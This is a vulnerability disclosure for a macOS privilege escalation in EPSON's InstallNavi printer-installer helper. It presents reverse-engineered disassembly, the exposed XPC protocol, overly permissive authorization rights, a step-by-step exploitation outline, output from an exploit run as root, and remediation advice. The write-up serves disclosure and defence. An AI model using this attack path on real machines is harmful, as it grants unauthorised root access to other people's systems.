Local Privilege Escalation via Improper Authorization Handling in EPSON Printer Controller Installer

Jan 27, 2025

CVE Number

CVE-2025-4960

Credits

Carlos Garrido of Pentraze Cybersecurity

Vulnerability Description

The com.epson.InstallNavi.helper tool is installed on the system during the EPSON L3250 printer driver’s installation process. A local privilege escalation vulnerability was identified due to multiple flaws in the helper’s implementation. Specifically, it fails to properly authenticate the client initiating the connection and does not correctly implement macOS’s authorization model.

An attacker can craft a malicious client to communicate with the vulnerable service using the XPC protocol. Because the service does not verify the client’s code signing status and lacks appropriate identity checks, it exposes high-privilege functionality to unauthorized users.

Furthermore, the helper improperly invokes the AuthorizationCopyRights API with a named right that it registers in the system’s authorization database (also known as the policy database) at /var/db/auth.db. These rights, introduced by the vulnerable service itself, are overly permissive and lack proper access restrictions. As a result, any local user — regardless of privilege level — can request and obtain authorization through the authorization daemon (authd). In a secure configuration, such rights should be tightly scoped and restricted to high-privileged users and groups (e.g., admin, root) for actions that require elevated access, such as executing privileged binaries, installing system components, or modifying global settings.

As a result, an attacker can perform privileged operations, such as executing arbitrary commands, running scripts, or installing packages, without requiring administrative credentials.

Understanding authorization

Authorization refers to the process by which an entity, such as a user, process, or service, is granted permission to perform restricted or privileged operations. In macOS, the term is also commonly used to refer to the specific right or rule defined in the system’s authorization database (/var/db/auth.db) that controls access to those operations.

macOS provides a flexible and granular authorization framework designed to control access to privileged operations. Depending on the application’s architecture, there are several models through which software can request and enforce authorization. Understanding these models is essential to evaluate the security posture of any application that performs privileged tasks.

Self Restricting Model

In a self-restricting application model, the application manages its own authorization by creating an authorization reference and interacting directly with the Security Server (securityd). When a privileged operation is requested, the Security Agent (com.apple.security.agent) may prompt the user for authentication or consent. If authorization is granted, the operation proceeds.

Image retrieved from Apple’s Authorization Services Programming Guide

Factored Model

The EPSON L3250 Installation software adopts the factored application model, in which the main application delegates all privileged operations to a separate component known as a helper tool (or PrivilegedHelperTool). Unlike self-restricting applications—where privileged code resides within the main application—factored applications isolate sensitive functionality in a standalone service that runs as a separate process with elevated permissions.

This design provides two key advantages:

  1. Improved auditability, as the privileged logic is confined to a well-defined and isolated binary.

  2. Enhanced security, by minimizing the privileges of the main application and limiting the attack surface to the helper tool.

However, these benefits rely entirely on the correct implementation of the authorization model. As we will demonstrate, design flaws in the named rights defined by the helper tool in the authorization database, in the way those rights are obtained, and in how the service interacts with Authorization Services under specific conditions, can lead to critical vulnerabilities.

Image retrieved from Apple’s Authorization Services Programming Guide

According to Apple’s recommended workflow, a client application should begin by performing pre-authorization—that is, attempting to obtain the necessary privileges (e.g., system.preferences.admin) to perform operations that require elevated access, such as modifying system-wide preferences. This is typically done using AuthorizationCreate() followed by AuthorizationCopyRights(), using flags like kAuthorizationFlagInteractionAllowed (which allows user interaction for authentication through the Security Agent, com.apple.security.agent), kAuthorizationFlagPreAuthorize, and kAuthorizationFlagExtendRights. While this two-step process is considered best practice, it is also possible to both create and authorize in a single call by passing the required rights directly to AuthorizationCreate() along with the appropriate flags.

While pre-authorization is not strictly mandatory, it is considered a best practice. It ensures that unauthorized clients are rejected early, before reaching the helper tool, thereby avoiding unnecessary interprocess communication and resource consumption. This not only improves performance but also reduces the overall attack surface by limiting exposure of the privileged service to only properly authorized requests.

In the context of factored applications, the client (main application) can generate an external representation of the authorization session using AuthorizationMakeExternalForm(). This produces a 12-byte handle (AuthorizationExternalForm) that can be securely transmitted over XPC to the server-side component (the helper tool). The helper can then validate the client’s rights and determine whether to proceed with the requested privileged operation.

In this model, two common approaches are used:

  1. The client performs pre-authorization, and the helper tool simply validates the existing authorization reference using AuthorizationCopyRights() to ensure the required right was granted.

  2. The client does not pre-authorize, and the helper tool takes full responsibility for calling AuthorizationCopyRights() to request the necessary privilege on behalf of the user.

The key distinction between these approaches lies in where the authorization flow is initiated—either proactively by the client (approach 1), or reactively by the server (approach 2). In both cases, however, the helper tool must verify that the provided authorization reference includes the required named right before performing any privileged action.

Reverse Engineering (RE) process

Phase 1: Mach Service

The EPSON printer software relies on the XPC protocol to facilitate communication between the EPSON Installer and its associated helper tool. To enable this communication, the helper must register and listen for incoming connections using a specific Mach service name. By examining the init method of the EWIHelperTool class, we can confirm that the service initializes itself by calling initWithMachServiceName: with the name it will use for XPC registration.

This Mach service name is critical, as it identifies the endpoint that clients—legitimate or malicious—must target to establish a connection with the helper tool.


/* @class EWIHelperTool */
-(void *)init {
    var_20 = self;
    *(&var_20 + 0x8) = *0x1000092d8;
    rax = [[&var_20 super] init];
    rbx = rax;
    if (rax != 0x0) {
            rax = [NSXPCListener alloc];
            rax = [rax initWithMachServiceName:@"com.epson.InstallNavi.helper"];
            rdi = *(rbx + 0x8);
            *(rbx + 0x8) = rax;
            [rdi release];
            [*(rbx + 0x8) setDelegate:rbx];
    }
    rax = rbx;
    return rax;
}

Phase 2: Accepting a Connection in the Helper

Incoming XPC connections are handled through the listener:shouldAcceptNewConnection: method, defined by the NSXPCListenerDelegate protocol.

When the helper receives an initial message via an NSXPCConnection, the system invokes the delegate’s listener:shouldAcceptNewConnection: method, passing an NSXPCListener object and an NSXPCConnection instance. This method determines whether the connection should be accepted. Returning YES allows the connection to proceed, while returning NO rejects it.

Within this method, the helper is expected to validate the code-signing flags of the connecting client. Failing to perform this verification allows any untrusted client—including attacker-crafted binaries—to establish communication with the service. This oversight can serve as the initial entry point in a broader exploitation chain, enabling unauthorized access to privileged functionality.

The following disassembly corresponds to the method listener:shouldAcceptNewConnection, which defines the interface (protocol) to be exposed to the XPC client. In this case, the exported interface is EWIHelperToolProtocol.

What is particularly relevant is that the method returns YES unconditionally, without performing any validation of the client’s authenticity. As a result, any untrusted or malicious client can successfully establish a connection with com.epson.InstallNavi.helper, bypassing integrity checks and opening the door for unauthorized interaction with the privileged service.

char -[EWIHelperTool listener:shouldAcceptNewConnection:](struct EWIHelperTool* self, SEL sel, id listener, id shouldAcceptNewConnection)

    ; Function Prologue 

    push    rbp {__saved_rbp}
    mov     rbp, rsp {__saved_rbp}
    push    r15 {__saved_r15}
    push    r14 {__saved_r14}
    push    r13 {__saved_r13}
    push    r12 {__saved_r12}
    push    rbx {__saved_rbx}
    push    rax {var_38}
    mov     rbx, rcx ; NSXPCConnection * _newConnection
    mov     r14, rdi ; EWIHelperTool* self
    mov     r12, qword [rel _objc_retain]
    mov     rdi, rdx ; NSXPCListener *  _listener
    call    r12
    mov     r15, rax
    mov     rdi, rbx
    call    r12
    mov     r12, rax ; NSXPCConnection * _newConnection
    
    ; Defining the EWIHelperToolProtocol interface 

    mov     rdi, qword [rel _OBJC_CLASS_$_NSXPCInterface] ; 1st Argument (NSXPCInterface Class)
    mov     rdx, qword [rel protoRef_EWIHelperToolProtocol] ; 3rd Argument (@protocol(EWIHelperToolProtoco))
    mov     rsi, qword [rel selRef_interfaceWithProtocol:]  {sel_interfaceWithProtocol:, "interfaceWithProtocol:"} ; 2nd Argument (method selector)
    mov     r13, qword [rel _objc_msgSend] ; _objc_msgSend function pointer
    call    r13 ; [NSXPCInterface interfaceWithProtocol:@protocol(EWIHelperToolProtocol)]

    ; Exporting the EWIHelperToolProtocol protocol via the setExportedInterface setter method

    mov     rdi, rax ;  (NSXPCInterface * _interface)
    call    _objc_retainAutoreleasedReturnValue
    mov     rbx, rax
    mov     rsi, qword [rel selRef_setExportedInterface:]  {sel_setExportedInterface:, "setExportedInterface:"} ; 2nd Argument (method selector)
    mov     rdi, r12 ; 1st Argument (NSXPCConnection * _newConnection)
    mov     rdx, rax ; 3rd Argument (NSXPCInterface * _interface)
    call    r13 ; [newConnection setExportedInterface:_interface]

    ; Exporting EWIHelperTool* object via the setExportedObject setter method

    mov     rsi, qword [rel selRef_setExportedObject:]  {sel_setExportedObject:, "setExportedObject:"} ; 2nd Argument (method selector)
    mov     rdi, r12 ; 1st Argument (NSXPCConnection * _newConnection)
    mov     rdx, r14 ; 3rd Arguemnt (EWIHelperTool* self)
    call    r13 ; [newConnection setExportedObject:_newConnection]

    ; Resumming connection

    mov     rsi, qword [rel selRef_resume]  {sel_resume, "resume"} ; 2nd Argument (method selector)
    mov     rdi, r12 ; 1st Argument (NSXPCConnection * _newConnection)
    call    r13 ; [newConnection resume]

    ; Function epilogue

    mov     eax, 0x1 ; return YES
    add     rsp, 0x8
    pop     rbx {__saved_rbx}
    pop     r12 {__saved_r12}
    pop     r13 {__saved_r13}
    pop     r14 {__saved_r14}
    pop     r15 {__saved_r15}
    pop     rbp {__saved_rbp}
    retn     {__return_addr}

Phase 3: Obtaining the EWIHelperToolProtocol definition

By leveraging the class-dump utility, we can extract the definition of the EWIHelperToolProtocol protocol. This information becomes useful later when crafting a client to communicate with the helper tool, as it reveals the remote methods exposed by the service. Understanding this interface is essential for invoking those methods and ultimately achieving command execution.

% class-dump -C EWIHelperToolProtocol /Library/PrivilegedHelperTools/com.epson.InstallNavi.helper 

@protocol EWIHelperToolProtocol
- (void)executeCommand:(NSString *)arg1 arguments:(NSArray *)arg2 authorization:(NSData *)arg3 withReply:(void (^)(NSError *))arg4;
- (void)executeScript:(NSString *)arg1 authorization:(NSData *)arg2 withReply:(void (^)(NSError *))arg3;
- (void)copyItemAtPath:(NSString *)arg1 toPath:(NSString *)arg2 authorization:(NSData *)arg3 withReply:(void (^)(NSError *))arg4;
- (void)installPackage:(NSString *)arg1 authorization:(NSData *)arg2 withReply:(void (^)(NSError *))arg3;
- (void)getVersionWithReply:(void (^)(NSString *))arg1;
@end

Phase 4: Authorization Rights Setup (EverBetterAuthorization)

🔒 Important
EvenBetterAuthorization is a sample project developed by Apple to illustrate how to implement PrivilegedHelperTools using Authorization Services. It demonstrates how to restrict access to privileged functionality exposed via an XPC interface. However, this code contains insecure design patterns that, if replicated without proper safeguards, can introduce serious security risks—particularly related to improper authorization handling.

Throughout this reverse engineering process, we will highlight how these insecure patterns are mirrored in the vulnerable helper tool under analysis. The review of EvenBetterAuthorization will focus on the key functions and logic flows that are relevant to understanding the origin and impact of the vulnerability.

The analysis begins with the setupAuthorizationRights: method, which is responsible for registering the application’s authorization policies in the system’s authorization database located at /var/db/auth.db. This method ensures that only rights not already present in the database are added, laying the foundation for how the helper tool enforces—or fails to enforce—authorization controls for privileged operations.

/* @class EWIHelperCommon */
+(int)setupAuthorizationRights:(int)arg2 {
    rdx = arg2;
    if (rdx != 0x0) {
            var_28 = *__NSConcreteStackBlock;
            *(&var_28 + 0x8) = 0xffffffffc0000000;
            *(&var_28 + 0x10) = ___44+[EWIHelperCommon setupAuthorizationRights:]_block_invoke;
            *(&var_28 + 0x18) = ___block_descriptor_40_e34_v32?0"NSString"816"NSString"24l;
            *(&var_28 + 0x20) = rdx;
            rax = [EWIHelperCommon enumerateRightsUsingBlock:&var_28];
    }
    else {
            +[EWIHelperCommon setupAuthorizationRights:].cold.1();
    }
    return rax;

The setupAuthorizationRights: method iterates over the defined authorization rights using the enumerateRightsUsingBlock: function. During this process, it invokes AuthorizationRightGet for each right to check whether it already exists in the authorization database. If a right is not found, the method proceeds to call AuthorizationRightSet to register it.

This registration typically occurs only during the application’s first execution, at which point the necessary rights are written to /var/db/auth.db.

int ___44+[EWIHelperCommon setupAuthorizationRights:]_block_invoke(int arg0, int arg1, int arg2, int arg3) {
    var_30 = arg0;
    r13 = [arg1 retain];
    r14 = [arg2 retain];
    r15 = [arg3 retain];
    rax = objc_retainAutorelease(r13);
    r13 = rax;
    if (AuthorizationRightGet([rax UTF8String], 0x0) == 0xffff159b && AuthorizationRightSet(*(var_30 + 0x20), [objc_retainAutorelease(r13) UTF8String], r14, r15, 0x0, @"Common") != 0x0) {
            ___44+[EWIHelperCommon setupAuthorizationRights:]_block_invoke.cold.1();
    }
    else {
            [r15 release];
            [r14 release];
            rax = [r13 release];
    }
    return rax;

The following section illustrates the named rights that are added to the authorization database for each command or function that the helper tool is designed to execute. These rights define the required permissions that clients must obtain in order to invoke specific privileged operations through the XPC interface (EWIHelperToolProtocol):

  • For installPackage:authorization:withReply::

void ___30+[EWIHelperCommon commandInfo]_block_invoke(void * _block) {

    var_30 = **___stack_chk_guard;
    rax = NSStringFromSelector(@selector(installPackage:authorization:withReply:));
    rax = [rax retain];
    var_198 = rax;
    var_70 = rax;
    var_A0 = @"authRightName";
    var_88 = @"com.epson.InstallNavi.helper.pkginstall";
    *(&var_A0 + 0x8) = @"authRightDefault";
    *(&var_88 + 0x8) = @"allow";
    .
    .
    <SNIP>
    .
    .
  • For copyItemAtPath:toPath:authorization:withReply::

    rax = NSStringFromSelector(@selector(copyItemAtPath:toPath:authorization:withReply:));
    rax = [rax retain];
    var_178 = rax;
    *(&var_70 + 0x8) = rax;
    var_D0 = @"authRightName";
    var_B8 = @"com.epson.InstallNavi.helper.copyitem";
    *(&var_D0 + 0x8) = @"authRightDefault";
    *(&var_B8 + 0x8) = @"allow";
    .
    .
    <SNIP>
    .
    .
  • For executeScript:authorization:withReply::

    rax = NSStringFromSelector(@selector(executeCommand:arguments:authorization:withReply:));
    rax = [rax retain];
    var_138 = rax;
    *(&var_70 + 0x18) = rax;
    var_130 = @"authRightName";
    var_118 = @"com.epson.InstallNavi.helper.executeCommand";
    *(&var_130 + 0x8) = @"authRightDefault";
    *(&var_118 + 0x8) = @"allow";
    *(&var_130 + 0x10) = @"authRightDescription";
    .
    .
    <SNIP>
    .
    .

The most critical observation when analyzing the named rights registered by this helper tool is identifying the common denominator across all of them: each right defined under the authRightDefault key is configured with the value "allow" (kAuthorizationRuleClassAllow). This effectively means that any local user, including those with low privileges, is permitted to obtain these rights in order to execute the corresponding functions or commands exposed via the XPC interface.

By accessing the authorization database, we should be able to observe all the named rights defined by the helper tool, including the three mentioned above (com.epson.InstallNavi.helper.executeScript, com.epson.InstallNavi.helper.copyitem, and com.epson.InstallNavi.helper.pkginstall), as illustrated below.

% sudo sqlite3 /var/db/auth.db
Password:
SQLite version 3.37.0 2021-12-09 01:34:53
Enter ".help" for usage hints.
sqlite> SELECT name FROM rules WHERE name LIKE '%epson%';
com.epson.InstallNavi.helper.copyitem
com.epson.InstallNavi.helper.executeCommand
com.epson.InstallNavi.helper.executeScript
com.epson.InstallNavi.helper.pkginstall
sqlite> 

Additionally, we can confirm our findings through reverse engineering by querying the authorization database using the security command-line tool. By passing the authorizationdb read parameter along with the name of the specific right—for example, com.epson.InstallNavi.helper.executeCommand—we can inspect how the helper tool defines each authorization policy:

% security authorizationdb read com.epson.InstallNavi.helper.executeCommand
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
	<key>class</key>
	<string>rule</string>
	<key>created</key>
	<real>769283819.42923605</real>
	<key>default-prompt</key>
	<dict>
		<key></key>
		<string>Epson Web Installer is trying to execute a command.</string>
	</dict>
	<key>identifier</key>
	<string>com.epson.InstallNavi</string>
	<key>modified</key>
	<real>769283819.42923605</real>
	<key>requirement</key>
	<string>identifier "com.epson.InstallNavi" and anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = TXAEAV5RN4</string>
	<key>rule</key>
	<array>
		<string>allow</string>
	</array>
	<key>version</key>
	<integer>0</integer>
</dict>
</plist>

Phase 5: AuthorizationCopyRights()

We have already inspected how the helper tool defines its named rights in the authorization database and confirmed that any local user can obtain those rights to invoke commands exposed through the XPC interface. However, a key question remains: at what point does the actual authorization occur?

To answer this, let us examine the implementation of the executeCommand:arguments:authorization:withReply: function as an example.

At the beginning of the function, the first operation we observe is a call to the checkAuthorization:command: method. This method receives two parameters: the authorization reference—created by the client using AuthorizationMakeExternalForm()—and the selector corresponding to the function being requested.


/* @class EWIHelperTool */
-(int)executeCommand:(int)arg2 arguments:(int)arg3 authorization:(int)arg4 withReply:(int)arg5 {
    r13 = arg0;
    var_40 = [arg2 retain];
    var_38 = [arg3 retain];
    rbx = [arg5 retain];
    rax = [r13 checkAuthorization:arg4 command:arg1]; // [r13 checkAuthorization:AuthorizationExternalForm command:@selector(executecommand:arguments:authorization:withReply:)];
    rax = [rax retain];
    .
    .
    <SNIP>
    .
    .

The checkAuthorization:command: method can be summarized in the following steps:

  1. Deserialize the authorization reference using AuthorizationCreateFromExternalForm(), reconstructing the original AuthorizationRef from the data received from the client.

  2. Determine whether a named right exists for the requested command or function. This is done through a call to [EWIHelperCommon authorizationRightForCommand:].

  3. Perform the authorization check using AuthorizationCopyRights(), which evaluates whether the client is entitled to execute the requested operation based on the corresponding right defined in the authorization database.


/* @class EWIHelperTool */
-(void)checkAuthorization:(int)arg2 command:(int)arg3, ... {
    r14 = arg3;
    rax = [arg2 retain];
    if (r14 == 0x0) goto loc_100003612;

loc_100003495:
    r15 = rax;
    var_30 = 0x0;
    if (rax == 0x0 || [r15 length] != 0x20) goto loc_1000034bb;

loc_1000034f7:
    rax = objc_retainAutorelease(r15);
    rax = [rax bytes];
    rax = AuthorizationCreateFromExternalForm(rax, &var_30);
    if (rax != 0x0) goto loc_1000035b0;

loc_100003523:
    *(int128_t *)(&var_60 + 0x10) = intrinsic_movaps(*(int128_t *)(&var_60 + 0x10), 0x0);
    var_60 = intrinsic_movaps(var_60, 0x0);
    var_40 = 0x1;
    rax = [EWIHelperCommon authorizationRightForCommand:r14];
    rax = [rax retain];
    rax = objc_retainAutorelease(rax);
    var_60 = [rax UTF8String];
    [rax release];
    if (var_60 == 0x0) goto loc_10000361c;

loc_100003593:
    rbx = 0x0;
    rax = AuthorizationCopyRights(var_30, &var_40, 0x0, 0x3, 0x0);
    if (rax != 0x0) {
            rbx = [[NSError errorWithDomain:**_NSOSStatusErrorDomain code:sign_extend_64(rax) userInfo:0x0] retain];
    }
    .
    .
    <SNIP>
    .
    .

Phase 6: Summary of our findings

  1. The helper tool does not validate the authenticity of the client attempting to establish an XPC connection. Any local process can interact with the service, regardless of its origin or trust level.

  2. The helper tool defines named rights in the authorization database that are accessible to all users, including those without administrative privileges. Each right is configured with the kAuthorizationRuleClassAllow rule ("allow"), which means the system does not prompt for credentials via the Security Agent (com.apple.security.agent) during authorization.

  3. Upon inspecting the exposed XPC interface (EWIHelperToolProtocol), we identified several methods that can be abused to execute system-level commands, effectively enabling arbitrary code execution through the vulnerable service.

Exploitaiton

The exploitaiton can be summarized in the following steps:

  1. Create an authorization reference using AuthorizationCreate().

  2. Serialize the authorization reference via AuthorizationMakeExternalForm().

  3. Establish an XPC connection with the target service `(com.epson.InstallNavi.helper)``.

  4. Invoke the executeCommand:arguments:authorization:withReply method to execute system-level commands.

Privilege Escalation

~ % ./epson-exploit                       
2025-05-19 21:39:15.395 epson-exploit[50314:2311798] [+] EPSON L3250 Local Privilege Escalation

2025-05-19 21:39:15.408 epson-exploit[50314:2311798] [+] `AuthorizationCreate()` - Last status: `No error.`
2025-05-19 21:39:15.408 epson-exploit[50314:2311798] [+] `AuthorizationMakeExternalForm()` - Last status: `No error.`
2025-05-19 21:39:15.409 epson-exploit[50314:2311798] [+] `initWithBytes:length:` -  Last status: `No error.`
2025-05-19 21:39:15.409 epson-exploit[50314:2311798] [+] Establishing and resuming connection with target service name: `com.epson.InstallNavi.helper`
2025-05-19 21:39:15.409 epson-exploit[50314:2311798] [+] Remote Object: `<__NSXPCInterfaceProxy_EWIHelperToolProtocol: 0x600002bc40f0>`
2025-05-19 21:39:15.409 epson-exploit[50314:2311798] [+] Remote Connection: `<NSXPCConnection: 0x6000039c4000> connection to service named com.epson.InstallNavi.helper`
2025-05-19 21:39:15.409 epson-exploit[50314:2311798] [+] Obtaining version information by calling `getVersionWithReply:`
2025-05-19 21:39:15.410 epson-exploit[50314:2311804] [+] EPSON Version: `1.0.0`
2025-05-19 21:39:20.410 epson-exploit[50314:2311798] [+] Executing OS arbitrary commands as `root` by calling `executeCommand:arguments:authorization:withReply:`
2025-05-19 21:39:20.419 epson-exploit[50314:2311804] [+] Response: `(null)`
2025-05-19 21:39:25.416 epson-exploit[50314:2311798] [+] Done!
garrido@Garridos-MacBook-Air ~ % ls -l /Library/LaunchDaemons/R00t
-rw-r--r--  1 root  wheel  0 May 19 21:39 /Library/LaunchDaemons/R00t
  • Logs:

When launching the exploit and reviewing the system logs, we can confirm that authd granted the requested privilege—without triggering any user prompt. This behavior is consistent with the use of the kAuthorizationRuleClassAllow rule, which bypasses interactive authentication through the Security Agent (com.apple.security.agent).

garrido@Garridos-MacBook-Air ~ % log stream  | grep -i epson

2025-05-19 21:38:29.383552-0400 0x233e15   Default     0x0                  186    0    authd: [com.apple.Authorization:authd] Succeeded authorizing right 'com.epson.InstallNavi.helper.executeCommand' by client '/Library/PrivilegedHelperTools/com.epson.InstallNavi.helper' [50092] for authorization created by '/Users/garrido/epson-exploit' [50308] (3,0) (engine 792)

Remediation:

  • Follow Apple’s step-by-step guide/documentation on how to implement a secure authorization scheme in your factored application. From the main application (client), perform pre-authorization. This ensures that only authorized users (members of the admin group or root) can perform privileged operations.

  • The client process verification in the shouldAcceptNewConnection call should ensure the following:

  1. The connecting process is signed by Apple.
  2. The connecting process is signed by your team ID (TXAEAV5RN4).
  3. The connecting process is identified by your bundle ID.
  4. The connecting process has a minimum software version where the fix has been implemented or is hardened against injection attacks.

To identify the client, use the audit_token instead of the PID, as the latter is vulnerable to PID reuse attacks.

Additionally, the client allowed to connect must be compiled with a hardened runtime or library validation and must not possess the following entitlements:

  • com.apple.security.cs.allow-dyld-environment-variables
  • com.apple.security.cs.disable-library-validation
  • com.apple.security.get-task-allow

These entitlements would permit another process to inject code into the app, enabling it to communicate with the helper tool.

Furthermore, the connecting client must be identified by the audit token, not by PID (process ID).

Leverage new APIs for automatic code signing verification before accepting a connection:

  • [NSXPCConnection setCodeSigningRequirement:] (available since macOS 13.0)

  • xpc_connection_set_peer_code_signing_requirement (available since macOS 12.0)

References:

¿Ver el sitio en español?